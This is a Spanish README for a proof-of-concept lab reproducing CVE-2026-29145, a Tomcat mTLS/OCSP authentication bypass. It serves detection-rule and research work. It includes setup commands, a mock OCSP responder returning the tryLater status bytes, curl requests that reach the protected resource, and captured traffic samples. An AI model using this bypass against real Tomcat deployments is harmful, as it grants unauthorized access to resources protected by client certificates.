
Entorno PoC reproducible para CVE-2026-29145 Apache Tomcat CLIENT_CERT + omisión de fallo suave OCSP, incluidos scripts de explotación, respondedor OCSP simulado y reglas de detección de Suricata.
Apache Tomcat CLIENT_CERT + OCSP soft-fail bypass: entorno de reproducción completo, paquetes de tráfico de explotación y material para la redacción de reglas de detección de Suricata.
Solo para investigación de seguridad autorizada y desarrollo de reglas de detección. No lo utilice en sistemas no autorizados.
| Campo | Descripción |
|---|---|
| CVE | CVE-2026-29145 |
| Componente | Apache Tomcat / Tomcat Native |
| Tipo | Bypass de autenticación (mTLS / CLIENT_CERT) |
| CVSS | 9.1 (NVD) / Moderate (Apache) |
| Versiones afectadas | Tomcat 10.1.0-M7–10.1.52, 9.0.83–9.0.115, 11.0.0-M1–11.0.18; Native 2.0.0–2.0.13, etc. |
| Versiones corregidas | Tomcat 10.1.53+ / 9.0.116+ / 11.0.20+; Native 2.0.14+ |
Cuando Tomcat tiene habilitados CLIENT_CERT y OCSP, y se configura ocspSoftFail=false (fallo estricto), algunas rutas de fallo de OCSP (especialmente el estado de respuesta tryLater) todavía no se tratan como fallo estricto, lo que hace que se acepten certificados de cliente que deberían rechazarse y que los recursos protegidos queden accesibles.
La corrección oficial (p. ej., el commit de Tomcat fe26667c) alinea el manejo de OCSP TRY_LATER en la ruta FFM con Tomcat Native.
En Tomcat 10.1.52 + Tomcat Native 2.0.12:
Punto clave: debe devolverse tryLater de RFC 6960; solo un HTTP 500 no es suficiente para desencadenar el bypass en este entorno.
CVE-2026-29145-Everything/
├── README.md # Este archivo
├── REPRODUCTION.md # Notas detalladas de reproducción y consejos para Suricata
├── docker-compose.yml # Tomcat vulnerable + Mock OCSP
├── poc_exploit.py # Script de explotación/detección (exit 10 = vulnerable)
├── simple_proxy_fail.py # Mock OCSP (fail / succeed / try_later / internal_error)
├── setup_certs.sh # Genera certificados de CA / servidor / cliente (incluye OCSP AIA)
├── capture_exploit.sh # Explota y captura paquetes con un solo comando
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│ ├── server.xml # mTLS + ocspEnabled + ocspSoftFail=false
│ ├── tomcat-users.xml # Mapeo de usuarios CLIENT-CERT
│ ├── ROOT/ # Parche mínimo para el ROOT predeterminado de la imagen oficial
│ └── protected/ # Recurso protegido + web.xml (CLIENT-CERT)
└── pcaps/ # ★ Tráfico de explotación capturado (para escribir reglas)
├── CVE-2026-29145-mtls-and-ocsp.pcap # Paquete principal: mTLS + OCSP
├── CVE-2026-29145-ocsp-only.pcap # Solo OCSP en claro
├── CVE-2026-29145-mtls-only.pcap # Solo TLS 8443
└── exploit_response.html # Instantánea de la respuesta exitosa de explotación
El directorio de claves privadas de certificados certs/ está ignorado de forma predeterminada por .gitignore y debe generarse localmente.
pip install -r requirements.txt o python3-requests del sistema)git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything
# 1. Generar certificados (AIA apunta al nombre de servicio de OCSP dentro de Docker)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh
# 2. Iniciar el entorno (OCSP_MODE=try_later por defecto)
docker compose up -d
# Esperar a que esté healthy
docker compose ps
# 3. Ejecutar el PoC
python3 poc_exploit.py
# Salida esperada:
# [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# Código de salida 10 = vulnerable; 0 = no explotable / parcheado
Verificación manual:
curl -sk --http1.1 \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://127.0.0.1:8443/protected-resource/
./capture_exploit.sh
# Salida en pcaps/CVE-2026-29145-*.pcap
El repositorio ya incluye un pcap de una explotación exitosa que puede utilizarse directamente para validar las reglas de Suricata, sin necesidad de volver a capturar.
# tryLater — ruta de activación del CVE (por defecto)
OCSP_MODE=try_later docker compose up -d --force-recreate
# Fallo HTTP 500 (en este entorno, el fallo estricto lo rechaza)
OCSP_MODE=fail docker compose up -d --force-recreate
# Simula éxito de OCSP (el body no es DER real, solo comprueba conectividad)
OCSP_MODE=succeed docker compose up -d --force-recreate
# DER de internalError
OCSP_MODE=internal_error docker compose up -d --force-recreate
Importante: el 8443 es mTLS cifrado con TLS 1.3; abrirlo directamente con Wireshark parecerá basura.
El OCSP del 8888 es HTTP en claro; al escribir reglas, priorice el OCSP.
Instrucciones completas en pcaps/README.md.
POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request
HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5
[5 bytes DER] 30 03 0a 01 03 # tryLater
GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0
HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted
Wireshark: Preferences → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log
tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log -Y 'http && tcp.port==8443' -V
Consulte REPRODUCTION.md y pcaps/README.md para más detalles.
<Connector port="8443" SSLEnabled="true"
sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
...>
<SSLHostConfig
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem"
ocspEnabled="true"
ocspSoftFail="false"
ocspTimeout="5">
<Certificate ... />
</SSLHostConfig>
</Connector>
El CLIENT-CERT a nivel de aplicación se encuentra en tomcat/protected/WEB-INF/web.xml.
ocspSoftFail y la accesibilidad de OCSP; realice pruebas de regresión para los comportamientos de inaccesibilidad/tryLater./cleanup.sh
# o
docker compose down -v
CVE-2026-29145-Tester (este repositorio ha reforzado y documentado por completo la configuración reproducible y la ruta tryLater)Este proyecto se utiliza únicamente con fines educativos, pruebas de penetración autorizadas y desarrollo de reglas de detección de intrusiones. El usuario debe asegurarse de contar con autorización legal sobre los sistemas objetivo. El autor no se responsabiliza por ningún uso indebido.
| Comportamiento de OCSP | ocspSoftFail | Resultado |
|---|
DER tryLater (30 03 0a 01 03) | false | HTTP 200 — bypass exitoso |
| HTTP 500 | false | Rechazo TLS (fallo estricto activo) |
| Timeout de OCSP | false | Rechazo TLS |
| Cualquier fallo | true | 200 (soft-fail esperado) |
| Archivo | Descripción |
|---|
pcaps/CVE-2026-29145-with-keys.pcap + pcaps/sslkeys.log | Sesión completa descifrable |
pcaps/CVE-2026-29145-ocsp-only.pcap | OCSP en claro (sin necesidad de claves) |
pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txt | Texto legible del HTTP de OCSP |
pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txt | Texto HTTP de la aplicación tras el descifrado |
rules/cve-2026-29145.rules | Reglas Suricata de ejemplo |